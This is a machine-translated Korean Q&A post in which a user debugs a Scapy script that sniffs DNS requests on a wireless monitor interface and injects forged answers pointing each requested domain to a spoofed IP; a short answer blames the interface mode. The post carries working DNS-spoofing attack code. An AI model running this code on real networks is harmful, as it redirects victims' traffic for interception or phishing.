2017-09-24 1 views
0

scapy를 사용하여 mon0 인터페이스에서 DNS 요청 패킷을 스니핑하려고했습니다. 스푸핑 된 IP를 다시 보내고 싶었습니다. 는하지만 오류가 발생합니다 :Scapy를 사용하여 패킷을 스니핑하는 중에 FCfield Attribut 오류가 발생했습니다

AttributeError: 'Ether' object has no attribute 'FCfield'

코드 :

당신의 인터페이스는 아마도 모니터 모드로 구성되어 있지
def send_response(x): 
x.show() 
req_domain = x[DNS].qd.qname 
logger.info('Found request for ' + req_domain) 
# First, we delete the existing lengths and checksums.. 
# We will let Scapy re-create them 
del(x[UDP].len) 
del(x[UDP].chksum) 
del(x[IP].len) 
del(x[IP].chksum) 
response = x.copy() 
response.FCfield = '2L' 

response.addr1, response.addr2 = x.addr2, x.addr1 
# Switch the IP addresses 
response.src, response.dst = x.dst, x.src 
# Switch the ports 
response.sport, response.dport = x.dport, x.sport 
# Set the DNS flags 
response[DNS].qr = '1L' 
response[DNS].ra = '1L' 
response[DNS].ancount = 1 


response[DNS].an = DNSRR(
    rrname = req_domain, 
    type = 'A', 
    rclass = 'IN', 
    ttl = 900, 
    rdata = spoofed_ip 
    ) 
#inject the response 
sendp(response) 
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n') 

def main(): 
    logger.info('Starting to intercept [CTRL+C to stop]') 
    sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53) 

답변

0

, 그건 당신이 이더넷 (Ether) 레이어를 얻을 이유, 그리고 와이파이 (Dot11) 레이어.

+0

내가 코드를 실행하기 전에 무선 인터페이스에 모니터 모드를 사용 않았다 '인터페이스 \t 칩셋 \t \t 드라이버 wlp6s0 인텔 AC \t iwlwifi을 - [phy0] \t \t \t \t (모니터 모드 mon0 활성화)' –

관련 문제